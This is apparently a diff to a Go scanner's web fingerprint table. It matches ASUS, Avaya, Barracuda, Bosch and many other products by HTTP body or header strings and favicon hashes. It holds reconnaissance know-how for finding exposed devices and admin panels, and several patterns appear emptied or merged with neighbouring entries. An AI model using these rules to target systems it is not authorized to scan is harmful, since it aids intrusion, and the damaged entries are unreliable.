"ASUS-DSL-AC52U", "body", "", InStr{"(
dsl-ac52u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-DSL-AC52U", "header", "", InStr{"", "(realm=\"dsl-ac52u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-DSL-N14U_B1", "header", "", InStr{"", "(realm=\"dsl-n14u_b1)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-DSL-N55U", "body", "", InStr{"(
dsl-n55u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-DSL-N55U", "header", "", InStr{"", "(realm=\"dsl-n55u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-GT-AC2900", "body", "", InStr{"(document.getelementsbyclassname(\"model-name\")[0].innerhtml = \"gt-ac2900\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-GT-AC2900_SH", "body", "", InStr{"(document.getelementsbyclassname(\"model-name\")[0].innerhtml = \"gt-ac2900_sh\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-GT-AC5300", "body", "", InStr{"(
gt-ac5300|var based_modelid = 'gt-ac5300'|document.getelementsbyclassname(\"model-name\")[0].innerhtml = \"gt-ac5300\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-Lyra-Trio", "body", "", InStr{"(class=\"prod_madelname\">lyra_trio
)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-Modem", "header", "", InStr{"", "(realm=\"aam6000ev|realm=\"aam6020vi)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-R6400", "body", "", InStr{"(
r6400)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-R7000", "body", "", InStr{"(
r7000)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-R8000", "body", "", InStr{"(
r8000)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-Router", "body", "", InStr{"(asuswrt)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC1200", "body", "", InStr{"(
rt-ac1200|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-ac1200)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC1200", "header", "", InStr{"", "(rt-ac1200)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC1300UHP", "body", "", InStr{"(
rt-ac1300uhp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC1750_B1", "body", "", InStr{"(
rt-ac1750_b1)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC3100", "body", "", InStr{"(
rt-ac3100|var product_name='rt-ac3100')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC3100", "header", "", InStr{"", "(realm=\"rt-ac3100)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC3200", "body", "", InStr{"(
rt-ac3200|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-ac3200|capture(status_router.sys_model)
asus rt-ac3200|var product_name='rt-ac3200')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC3200", "header", "", InStr{"", "(rt-ac3200)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC51U", "body", "", InStr{"(
rt-ac51u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC51U", "header", "", InStr{"", "(rt-ac51u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC52U_B1", "body", "", InStr{"(
rt-ac52u_b1)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC52U", "body", "", InStr{"(
rt-ac52u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC52U", "header", "", InStr{"", "(rt-ac52u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC5300", "body", "", InStr{"(
rt-ac5300)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC5300", "header", "", InStr{"", "(rt-ac5300)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC53", "body", "", InStr{"(
rt-ac53)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC53U", "body", "", InStr{"(
rt-ac53u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC53U", "header", "", InStr{"", "(realm=\"rt-ac53u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC55UHP", "body", "", InStr{"(
rt-ac55uhp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC55UHP", "header", "", InStr{"", "(rt-ac55uhp)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC58U", "body", "", InStr{"(
rt-ac58u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC59U", "body", "", InStr{"(class=\"prod_madelname\">rt-ac59u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC66R", "body", "", InStr{"(
rt-ac66r|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-ac66r
)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC66R", "header", "", InStr{"", "(rt-ac66r)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC66U_B1", "body", "", InStr{"(
rt-ac66u_b1|var product_name='rt-ac66u_b1'|class=\"prod_madelname\">jrs eco 100 on asus rt-ac66u_b1|rt-ac66u_b1)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC66U_B1", "header", "", InStr{"", "(realm=\"rt-ac66u_b1)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC66U", "body", "", InStr{"(class=\"prod_madelname\" style=\"margin-left:78px;\">rt-ac66u|prod_madelname\">rt-ac66u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC66U", "body", "", InStr{"(class=\"prod_madelname\" style=\"margin-left:78px;\">rt-ac66u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC66U", "header", "", InStr{"", "(rt-ac66u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC68P", "body", "", InStr{"(
rt-ac68p)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC68P", "header", "", InStr{"", "(rt-ac68p)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC68U", "body", "", InStr{"(var product_name='rt-ac68u'|capture(status_router.sys_model)
asus rt-ac68u|capture(status_router.sys_model)
asus rt-ac68u |
rt-ac68u|class=\"prod_madelname\">jrs eco 100 on asus rt-ac68u
|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-ac68u|var mmc = {|asus rt-ac68u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC68U", "header", "", InStr{"", "(rt-ac68u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC86U", "body", "", InStr{"(
rt-ac86u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC87R", "body", "", InStr{"(
rt-ac87r|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-ac87r|var product_name='rt-ac87r')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC87R", "header", "", InStr{"", "(rt-ac87r)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC88U", "body", "", InStr{"(
rt-ac88u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC88U", "header", "", InStr{"", "(realm=\"asusrt-ac88u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-ACRH13", "body", "", InStr{"(
rt-acrh13)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-ACRH17", "body", "", InStr{"(
rt-acrh17)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AX88U", "body", "", InStr{"(
rt-ax88u
|var product_name='rt-ax88u'|\"model_name\":\"rt-ax88u\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AX88U", "header", "", InStr{"", "(realm=\"rt-ax88u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AX92U", "body", "", InStr{"(
rt-ax92u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N10U2", "header", "", InStr{"", "(realm=\"rt-n10u2)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N10U", "body", "", InStr{"(
rt-n10u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N10U", "header", "", InStr{"", "(asus rt-n10u|asus_rt-n10u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N12HP_B1", "body", "", InStr{"(
rt-n12hp_b1|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-n12hp_b1)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N12HP_B1", "header", "", InStr{"", "(rt-n12hp_b1)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N56U", "body", "", InStr{"(
rt-n56u|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-n56u|var product_name='rt-n56u')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N56U", "header", "", InStr{"", "(realm=\"rt-n56u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N66R", "body", "", InStr{"(
rt-n66r|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-n66r)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N66R", "header", "", InStr{"", "(realm=\"rt-n66r)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N66U", "body", "", InStr{"(
rt-n66u|capture(status_router.sys_model)
asus rt-n66u |capture(status_router.sys_model)
asus rt-n66u|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-n66u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-N66U", "header", "", InStr{"", "(rt-n66u|asus rt-n66u )", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-TUF-AX3000", "body", "", InStr{"(document.getelementsbyclassname(\"model-name\")[0].innerhtml = \"tuf-ax3000\"|class=\"prod_madelname\">tuf-ax3000
)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-ZenWiFi-AX", "body", "", InStr{"(class=\"prod_madelname\">zenwifi ax)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AtBrain-Camera-Streaming", "header", "", InStr{"", "(realm=\"atbrain camera-streaming)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aten-Company's-product", "body", "", InStr{"(application enablement services )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-Aura-Utility-Server", "body", "", InStr{"(vmstitle\">avaya aura™ utility server|/webhelp/base/utility_toc.htm|avaya aura® utility services|avaya inc. all rights reserved)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-Communication-Manager", "body", "", InStr{"(var newlocation = \"https://\" + target + \"/cgi-bin/common/issue\";)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-IP-Office", "body", "", InStr{"(action=\"/login/index.php?st=11&lng=)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-IP-Office", "header", "", InStr{"", "(ipoffice)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-Media-Server", "body", "", InStr{"(src=\"/emlogin/)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-Secure-Router", "body", "", InStr{"(about avaya secure router|avaya secure router)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-Secure-Router", "header", "", InStr{"", "(server: avaya http server)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Avaya-System-Platform", "body", "", InStr{"(content=\"0;url=vsplogin.action)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AVCON6", "body", "", InStr{"(filename=avcon6setup.exe|language_dispose.action)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AVCON-Video-On-Demand-platform", "body", "", InStr{"(what's next?

|aws.amazon.com/elasticbeanstalk)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AWStats", "body", "", InStr{"(generator\" content=\"awstats|created by awstats )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axel-Device", "header", "", InStr{"", "(server: axel admin server)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axentra-HipServ", "body", "", InStr{"(content=\"axentra)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axentra-HipServ", "header", "", InStr{"", "(x-axentra-version)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AXES-TMC-X1-or-X2-Terminal", "ico", "", InStr{"", "", "(7b345857204926b62951670cd17a08b7)"}, ReqHttp{"", "", nil, ""}}, + {1, "AxgateSSLVPN", "body", "", InStr{"(class=\"axgate\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AXGATE-UTM", "body", "", InStr{"(class=\"axgate\" ng-controller=\"logincontroller\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axigen-Mail-Server", "header", "", InStr{"", "(axigen-webmail)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "axigen-Webadmin", "body", "", InStr{"(
axigen webadmin
)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AXIMCom-Product", "body", "", InStr{"(href='style/axim/table.css')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axis2-Web", "body", "", InStr{"(axis2-web/css/axis-style.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axis-Cameras-and-Surveillance", "body", "", InStr{"(|content=\"axis communications ab)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axis-Network-Camera", "body", "", InStr{"(/incl/trash.shtml|src=\"/incl/axis_connection.js|/axis-media/media.amp?)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axis-PrintServer", "body", "", InStr{"(psb_printjobs.gif|/cgi-bin/prodhelp?prod=)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "axTLS-Embad-Httpd", "header", "", InStr{"", "(server: axhttpd)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Axway-SecureTransport", "header", "", InStr{"", "(securetransport)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "axyl", "ico", "", InStr{"", "", "(7513f4cf4802f546518f26ab5cfa1cad)"}, ReqHttp{"", "", nil, ""}}, + {1, "Aztech-D140W", "header", "", InStr{"", "(realm=\"az-d140w)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Azure-ARR", "header", "", InStr{"", "(arraffinity)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Azure", "header", "", InStr{"", "(azure-webrole-instance-id)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "B2BBuilder", "body", "", InStr{"(content=\"b2bbuilder|translatebuttonid = \"b2bbuilder)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "b2evolution", "body|ico", "", InStr{"(/powered-by-b2evolution-150t.gif|powered by b2evolution|content=\"b2evolution)", "", "(de68f0ad7b37001b8241bce3887593c7)"}, ReqHttp{"", "", nil, ""}}, + {1, "BackBee", "body", "", InStr{"(
)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Backbone", "body", "", InStr{"(new backbone.model()|backbone-validation-min.js|backbone.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BackupPC", "body|header", "", InStr{"(/backuppc/image/logo.gif|/index.cgi?action=editconfig)", "(backuppc_admin)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BACnet/IP-to-Web-Services-Gateway", "header", "", InStr{"", "(server: cimetrics eplus web server )", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bad-debt-management-system", "body", "", InStr{"(登录密码错误次数超过5次,帐号被锁定。请联系省坏账系统管理员,或发邮件解锁)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Baiding-OA", "body", "", InStr{"(onload=\"javascript:form1.txtusername.focus)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Baidu-Anquanbao", "header", "", InStr{"", "(x-powered-by-anquanbao)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Baidu-CDN", "body|header", "or", InStr{"(apps.bdimg.com|libs.baidu.com)", "(apps.bdimg.com|libs.baidu.com)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Baidu-jiasule", "body", "", InStr{"(notice-jiasule|static.jiasule.com/static/js/http_error.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Baidu-Subaidu", "body", "", InStr{"(data-orig-ref=\"su.baidu.com|id=\"yunjiasu_link)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BaiShiJia-CMS", "body", "", InStr{"(/resource/images/cms.ico)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "bamboocloud-BIM", "body", "", InStr{"(bim 开发配置与运维控制台)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bandwidth-Management-Gateway", "header", "", InStr{"", "(realm=\"bandwidth management gateway )", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Banggoo-ADC", "body", "", InStr{"(content=\"banggoo adc |欢迎登录banggoo adc管理界面
)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BangYong-PM2", "body", "", InStr{"(pm2项目管理系统bs版增强工具.zip)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BangYong-PM2", "header", "", InStr{"", "(accid=1001)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Barracuda-Backup-Server", "header", "", InStr{"", "(backup_local_locale)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Barracuda-Device", "header", "", InStr{"", "(barracudahttp)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Barracuda-LoadBalancer", "header", "", InStr{"", "(barracuda_lb_cookie|bni_persistence=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Barracuda-NG-Firewall", "header", "", InStr{"", "(barracuda ng firewall)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Barracuda-Spam-Firewall", "body", "", InStr{"(/barracuda.css|http://www.barracudanetworks.com?a=bsf_product)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Barracuda Spam/Virus firewall appliance", "ico", "", InStr{"", "", "(de2b6edbf7930f5dd0ffe0528b2bbcf4)"}, ReqHttp{"", "", nil, ""}}, + {1, "Barracuda-WAF", "header", "", InStr{"", "(bni__barracuda_lb_cookie=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BASE-Security", "body", "", InStr{"(|mailto:base@secureideas.net)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Basic-PHP-Events-Lister", "body", "", InStr{"(powered by: )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Basler", "body", "", InStr{"(basler ag)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "bbPress", "body", "", InStr{"(|is proudly powered by bea weblogic server|weblogic server|

welcome to weblogic application|

bea weblogic server)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Beehive Forum 1.x", "ico", "", InStr{"", "", "(f51425ace97f807fe5840c4382580fd5)"}, ReqHttp{"", "", nil, ""}}, + {1, "BeeS-CMS", "body", "", InStr{"(powerd by|beescms|template/default/images/slides.min.jquery.js|/default/images/xslider.js|/default/images/search_btn.gif|powerd by beescms|mx_form/mx_form.php)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "beijinghuayu-SafeGateway", "body", "", InStr{"(copy_right = {cn : \"\", en |var opzoon_ver)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Belkin-G-Wireless-Router", "body", "", InStr{"(src=\"setup_top.htm\"|def_pg=\"status.stm\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Belkin-N150", "body", "", InStr{"(src=\"setup_top.htm\"|src=\"status.stm\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BenSSL", "header", "", InStr{"", "(ben-ssl)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bentley-Systems-ProjectWise", "body", "", InStr{"(href=\"projectwise.ico)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bentley-Systems-ProjectWise", "header", "", InStr{"", "(bentley.websession=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bestsch-Ecs", "body", "", InStr{"(/userfiles/admin/customskin|src=\"/include/ecsserverapi.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Betasoft-PDM-Data-Acquisition", "body", "", InStr{"(align=\"center\" class=\"login_pdm\">|background: no-repeat url(../images/login/pdmdenglu1_28.png);)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "beyeon-IOT", "body", "", InStr{"(版权所有:郑州蓝视科技有限公司|var app_smp_type_name = '门店';var app_grp_type_name = '集团')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BH-BH5000C", "body", "", InStr{"(bhclientcer:\"/modules/web/common/data/bhclient.cer)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bicesoft-Super-Custom-Survey-Voting-System", "body", "", InStr{"(href=\"images/bicesoft.css\"|佰思超强自定义问卷调查系统(bicesoft.com))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "biept-System", "body", "", InStr{"(class=\"loginin loginin1\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BigDump", "body", "", InStr{"(bigdump: staggered mysql dump importer)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BiHaiYunHe-Router", "body", "", InStr{"(src=\"lib/ext-lang-zh_cn.js\"|

欢迎登录碧海云盒

)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BillingTestTool", "body", "", InStr{"(href:'/billtool/querysum')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Billion-Router", "header", "", InStr{"", "(billion sky|basic realm=\"webadmin)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BinarySec-Cloud-Defense", "header", "", InStr{"", "(x-binarysec|x-binarysec-nocache)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BinarySec-Firewall", "header", "", InStr{"", "(x-binarysec)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bio-LIMS", "body", "", InStr{"(/lims/js/login.js|/lims/dist/css/font-awesome.min.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Biscom-Delivery-Server", "body|ico", "", InStr{"(/bds/stylesheets/fds.css|/bds/includes/fdsjavascript.do)", "", "(eb05f77bf80d66f0db6b1f682ff08bee)"}, ReqHttp{"", "", nil, ""}}, + {1, "Bitbucket", "body", "", InStr{"(/j_atl_security_check|bitbucket.page.login)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "bithighway-Product", "body", "", InStr{"(href='http://www.bithighway.com' target=_blank>北京碧海威科技有限公司<)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BitKeeper", "header", "", InStr{"", "(server: bkhttp)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BITMAIN-antminer", "header", "", InStr{"", "(realm=\"antminer)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bitnami", "body", "", InStr{"(\"Bitnami\"|

Thanks for using Bitnami!

)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bitnami-Redmine-Stack", "body", "", InStr{"(alt=\"bitnami redmine stack)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bitrix-Site-Manager", "body", "", InStr{"(bitrix_sm_time_zone|bx.setcsslist)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bitrix-Site-Manager", "header", "", InStr{"", "(x-powered-cms: bitrix site manager|policyref=\"/bitrix/p3p.xml)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bit-Service", "body", "", InStr{"(xmlpzs/webissue.asp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bitweaver", "ico", "", InStr{"", "", "(1a9a1ec2b8817a2f951c9f1793c9bc54)"}, ReqHttp{"", "", nil, ""}}, + {1, "BJB-EDSIP", "body", "", InStr{"(content=\"同辉eds多媒体信息发布系统)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "bjca", "body", "", InStr{"(
  • 下载证书应用环境
  • )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "bjkelian-Device", "body", "", InStr{"(hw_type=\"imx100ag)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "bjqit-CRM", "body", "", InStr{"(href=/css/ordercomplaint)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Blackboard", "header", "", InStr{"", "(x-blackboard-product|x-blackboard-appserver)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlackJumboDog", "header", "", InStr{"", "(server: blackjumbodog)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Blazix", "header", "", InStr{"", "(server: blazix java server)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "B_LINK-APRouter", "header", "", InStr{"", "(realm=\"b-link-aprouter)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "B_LINK-Home-Gateway", "header", "", InStr{"", "(realm=\"b-link home gateway)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlogEngineNET", "body", "", InStr{"(pics/blogengine.ico|http://www.dotnetblogengine.net)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Blogger", "body", "", InStr{"(content='blogger|powered by blogger)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlueCoat-PacketShaper", "header", "", InStr{"", "(pscfgstr=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlueCoat-ProxySG", "header", "", InStr{"", "(bluecoat internet proxy)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bluedon-Firewall", "body", "", InStr{"(class=\"banquan\">蓝盾信息安全技术股份有限公司)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bluedon-WebGuard-Tamper-Resistance", "body", "", InStr{"(background: url(images/loginbg.jpg) #e5f1fc)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlueDragon", "header", "", InStr{"", "(bluedragon)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlueNet-Video", "body", "", InStr{"(/cgi-bin/client_execute.cgi?tud=0)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlueOnyx", "body", "", InStr{"(thank you for using the blueonyx)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BlueQuartz", "body", "", InStr{"(value=\"copyright (c) 2000, cobalt networks)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bluetrum-CDN", "header", "", InStr{"", "(powered-by-chinacache)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "bmpx", "ico", "", InStr{"", "", "(140e3eb3e173bfb8d15778a578a213aa)"}, ReqHttp{"", "", nil, ""}}, + {1, "BMU", "body", "", InStr{"(版本: espace ecs)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "boastMachine", "body", "", InStr{"(powered by boastmachine|powered by aec |color=\"#1b528c\" >robert bosch gmbh reserves all rights)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bosch-DiBos", "body", "", InStr{"(style/bovisnt.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BOSCH-DIVAR-IP-3000", "body", "", InStr{"(vrmchunk.sethelpname('vrm_monitor'))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BOSCH-DIVAR-IP", "body", "", InStr{"(vrmchunk.sethelpname('vrm_monitor')|the requested url '/' was not found on the divar)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Bosch-SPS", "body", "", InStr{"(miccomp[0][1] ==|src='inner_frmset.html'>|bosch security systems. all rights reserved.)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BossMail", "body", "", InStr{"(powered by bossmail|href=\"http://apps.microsoft.com/windows/zh-cn/app/bossmail/24f4bdb3-1bca-467e-9dd9-15a5d278aec6)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BoWen-Providence-Car-Loading-Reservation-System", "body", "", InStr{"(/public/base/js/plugins/crypto/rsa.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "boxiao-System", "body", "", InStr{"(var bxnstaticresroot='/bxn-static-resource/resources')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BrewBlogger", "body", "", InStr{"(developed by )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Broadband-Router", "header", "", InStr{"", "(realm=\"broadband router)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BROADCOM-CA-PAM", "body", "", InStr{"(ispamclient = false|/cspm/cleansession.jsp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Broadcom-Home-Gateway", "header", "", InStr{"", "(realm=\"broadcom home gateway)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BROADLIGHT-Residential-Gateway", "body", "", InStr{"(brg management)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BroadWin-WebAccess", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "BroadWin-WebAccess", "header", "", InStr{"", "(/broadweb/bwroot.asp?username=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Brocade-Data-Angle-Guard-Database", "body", "", InStr{"(window.location.host + \"/agweb\")", "", ""}, ReqHttp{"", "", nil, 